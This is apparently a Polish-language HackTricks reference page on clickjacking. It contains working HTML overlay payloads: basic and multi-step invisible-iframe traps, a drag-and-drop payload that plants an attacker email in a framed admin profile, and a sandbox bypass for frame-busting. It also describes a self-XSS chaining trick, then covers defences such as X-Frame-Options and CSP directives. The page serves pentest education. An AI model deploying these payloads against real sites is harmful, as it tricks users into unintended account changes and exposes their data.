Clickjacking

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj dostęp już dziś:

Co to jest Clickjacking

W ataku clickjacking użytkownik jest oszukany, aby kliknąć element na stronie internetowej, który jest albo niewidoczny, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, podanie poświadczeń dostępu lub poufnych informacji, transfery pieniężne lub zakupy produktów online.

Trik z wypełnianiem formularzy

Czasami możliwe jest wypełnienie wartości pól formularza za pomocą parametrów GET podczas ładowania strony. Atakujący może wykorzystać to zachowanie, aby wypełnić formularz dowolnymi danymi i wysłać ładunek clickjackingowy, aby użytkownik nacisnął przycisk Wyślij.

Wypełnij formularz za pomocą przeciągnij i upuść

Jeśli potrzebujesz, aby użytkownik wypełnił formularz, ale nie chcesz bezpośrednio prosić go o wpisanie określonych informacji (takich jak e-mail i/lub konkretne hasło, które znasz), możesz poprosić go o przeciągnięcie i upuszczenie czegoś, co wpisze Twoje kontrolowane dane, jak w tym przykładzie.

Podstawowy ładunek

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Wieloetapowy ładunek

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Przeciągnij i upuść + Kliknij ładunek

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Jeśli zidentyfikowano atak XSS, który wymaga kliknięcia przez użytkownika w pewny element, aby wywołać XSS, a strona jest podatna na clickjacking, można to wykorzystać, aby oszukać użytkownika, aby kliknął przycisk/link. Przykład: Znaleziono self XSS w prywatnych danych konta (dane, które tylko ty możesz ustawić i odczytać). Strona z formularzem do ustawienia tych danych jest podatna na Clickjacking, a można wypełnić formularz parametrami GET. __Atakujący mógłby przygotować atak Clickjacking na tę stronę, wypełniając formularz payloadem XSS i oszukując użytkownika, aby zatwierdził formularz. Tak więc, gdy formularz zostanie przesłany i wartości zostaną zmodyfikowane, użytkownik wykona XSS.

Strategie łagodzenia Clickjacking

Obrona po stronie klienta

Skrypty wykonywane po stronie klienta mogą podejmować działania w celu zapobieżenia Clickjacking:

  • Upewnienie się, że okno aplikacji jest głównym lub najwyższym oknem.

  • Sprawienie, że wszystkie ramki są widoczne.

  • Zapobieganie klikaniu w niewidoczne ramki.

  • Wykrywanie i informowanie użytkowników o potencjalnych próbach Clickjacking.

Jednak te skrypty łamiące ramki mogą zostać obejścia:

  • Ustawienia bezpieczeństwa przeglądarek: Niektóre przeglądarki mogą blokować te skrypty na podstawie swoich ustawień bezpieczeństwa lub braku obsługi JavaScript.

  • Atrybut HTML5 iframe sandbox: Atakujący może zneutralizować skrypty łamiące ramki, ustawiając atrybut sandbox z wartościami allow-forms lub allow-scripts bez allow-top-navigation. Zapobiega to ramce weryfikacji, czy jest to główne okno, np.,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Obrona po stronie serwera

X-Frame-Options

Nagłówek odpowiedzi HTTP X-Frame-Options informuje przeglądarki o legalności renderowania strony w elemencie <frame> lub <iframe>, pomagając w zapobieganiu Clickjackingowi:

  • X-Frame-Options: deny - Żadna domena nie może osadzać zawartości.

  • X-Frame-Options: sameorigin - Tylko bieżąca witryna może osadzać zawartość.

  • X-Frame-Options: allow-from https://trusted.com - Tylko określony „uri” może osadzać stronę.

  • Należy zauważyć ograniczenia: jeśli przeglądarka nie obsługuje tej dyrektywy, może nie działać. Niektóre przeglądarki preferują dyrektywę CSP frame-ancestors.

Dyrektywa frame-ancestors w polityce bezpieczeństwa zawartości (CSP)

Dyrektywa frame-ancestors w CSP jest zalecaną metodą ochrony przed Clickjackingiem:

  • frame-ancestors 'none' - Podobne do X-Frame-Options: deny.

  • frame-ancestors 'self' - Podobne do X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com - Podobne do X-Frame-Options: allow-from.

Na przykład, poniższa CSP zezwala tylko na osadzanie z tej samej domeny:

Content-Security-Policy: frame-ancestors 'self';

Szczegółowe informacje i przykłady zastosowań można znaleźć w dokumentacji CSP dotyczącej frame-ancestors oraz dokumentacji Mozilla CSP dotyczącej frame-ancestors.

Polityka bezpieczeństwa zawartości (CSP) z child-src i frame-src

Polityka bezpieczeństwa zawartości (CSP) to środek bezpieczeństwa pomagający w zapobieganiu Clickjackingowi i innym atakom polegającym na wstrzykiwaniu kodu, określając, które źródła przeglądarka powinna zezwolić na ładowanie zawartości.

Dyrektywa frame-src

  • Określa prawidłowe źródła dla ramek.

  • Jest bardziej specyficzna niż dyrektywa default-src.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ta polityka pozwala na ramki z tego samego pochodzenia (self) oraz https://trusted-website.com.

Dyrektywa child-src

  • Wprowadzona w CSP poziomu 2 w celu ustawienia prawidłowych źródeł dla workerów sieciowych i ramek.

  • Działa jako opcja zapasowa dla frame-src i worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ta polityka pozwala na ramki i workery z tego samego pochodzenia (self) oraz https://trusted-website.com.

Notatki dotyczące użycia:

  • Dezaprobaty: child-src jest stopniowo eliminowany na rzecz frame-src i worker-src.

  • Zachowanie zapasowe: Jeśli frame-src jest nieobecny, child-src jest używany jako zapasowy dla ramek. Jeśli oba są nieobecne, używane jest default-src.

  • Ścisła definicja źródła: W dyrektywach należy uwzględnić tylko zaufane źródła, aby zapobiec eksploatacji.

Skrypty JavaScript do łamania ramek

Choć nie są one całkowicie niezawodne, skrypty do łamania ramek oparte na JavaScript mogą być używane do zapobiegania osadzaniu strony internetowej w ramce. Przykład:

if (top !== self) {
top.location = self.location;
}

Wykorzystanie tokenów Anti-CSRF

  • Walidacja tokena: Użyj tokenów Anti-CSRF w aplikacjach internetowych, aby upewnić się, że żądania zmieniające stan są wykonywane celowo przez użytkownika, a nie poprzez stronę podatną na Clickjacking.

Referencje

Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności. Zdobądź dostęp już dziś:

Zacznij od zera i zostań ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated